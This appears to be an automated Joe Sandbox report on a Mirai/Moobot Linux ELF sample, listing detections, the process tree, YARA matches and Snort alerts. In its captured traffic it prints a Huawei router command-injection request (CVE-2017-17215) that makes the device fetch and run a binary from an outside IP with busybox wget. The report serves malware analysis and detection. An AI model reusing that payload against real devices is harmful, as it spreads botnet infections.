Edit tour

Linux Analysis Report
v8OWS3Ylfj.elf

Overview

General Information

Sample Name:	v8OWS3Ylfj.elf
Original Sample Name:	2b318e2fa59dccaa45cc59c5fea7e082.elf
Analysis ID:	830702
MD5:	2b318e2fa59dccaa45cc59c5fea7e082
SHA1:	d5bf527325fbfbda5d26272bb88874bc504dd260
SHA256:	7bbce804ece6b26f0fcf2937fd5217518848f044c95cc6d033f5a08f04598a06
Tags:	32elfintelmirai
Infos:

Detection

Mirai, Moobot

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Yara detected Moobot

Snort IDS alert for network traffic

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Yara signature match

Sample has stripped symbol table

HTTP GET or POST without a user agent

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830702
Start date and time:	2023-03-20 16:12:59 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 1s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	v8OWS3Ylfj.elf
Original Sample Name:	2b318e2fa59dccaa45cc59c5fea7e082.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/0@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100

Runtime Messages

Command:	/tmp/v8OWS3Ylfj.elf
PID:	6223
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:	sh: 1: Syntax error: Unterminated quoted string

Process Tree

system is lnxubuntu20

v8OWS3Ylfj.elf (PID: 6223, Parent: 6125, MD5: 2b318e2fa59dccaa45cc59c5fea7e082) Arguments: /tmp/v8OWS3Ylfj.elf

v8OWS3Ylfj.elf New Fork (PID: 6224, Parent: 6223)

sh (PID: 6224, Parent: 6223, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv \"/tmp/v8OWS3Ylfj.elf \\xdc\u0420\\xff\\x84\\x88&bin/watchdog; chmod 777 bin/watchdog"

v8OWS3Ylfj.elf New Fork (PID: 6225, Parent: 6223)

v8OWS3Ylfj.elf New Fork (PID: 6226, Parent: 6225)

v8OWS3Ylfj.elf New Fork (PID: 6227, Parent: 6225)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b https://unit42.paloaltonetworks.com/moobot-d-link-devices/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
v8OWS3Ylfj.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
v8OWS3Ylfj.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
v8OWS3Ylfj.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xb9b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb9cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb9e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb9f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbaa8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbabc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbad0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbae4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbaf8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbb0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbb20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbb34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbb48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
v8OWS3Ylfj.elf	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0x97b1:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
v8OWS3Ylfj.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x3d80:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
v8OWS3Ylfj.elf	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0xa478:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
v8OWS3Ylfj.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x65b2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
v8OWS3Ylfj.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0x954a:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
v8OWS3Ylfj.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x7ef8:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
v8OWS3Ylfj.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x6582:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6223.1.0000000008048000.0000000008056000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6223.1.0000000008048000.0000000008056000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6223.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xb9b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb9cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb9e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb9f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xba94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbaa8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbabc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbad0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbae4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbaf8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbb0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbb20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbb34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbb48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6223.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0x97b1:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
6223.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x3d80:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6223.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0xa478:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
6223.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x65b2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6223.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0x954a:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6223.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x7ef8:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6223.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x6582:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Process Memory Space: v8OWS3Ylfj.elf PID: 6223	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x564:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x578:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x58c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x604:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x618:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x62c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x640:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x654:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x668:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x67c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x690:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 6 entries

Snort Signatures

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 195.133.40.202

Timestamp:	192.168.2.23195.133.40.20236176569992030490 03/20/23-16:13:48.596290
SID:	2030490
Source Port:	36176
Destination Port:	56999
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 195.133.40.202 - Destination IP: 192.168.2.23

Timestamp:	195.133.40.202192.168.2.2356999361762030489 03/20/23-16:13:53.166618
SID:	2030489
Source Port:	56999
Destination Port:	36176
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 195.164.211.50

Timestamp:	192.168.2.23195.164.211.5057976372152835222 03/20/23-16:13:57.691757
SID:	2835222
Source Port:	57976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Summary

Malicious sample detected (through community Yara rule)

Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: Process Memory Space: v8OWS3Ylfj.elf PID: 6223, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: v8OWS3Ylfj.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
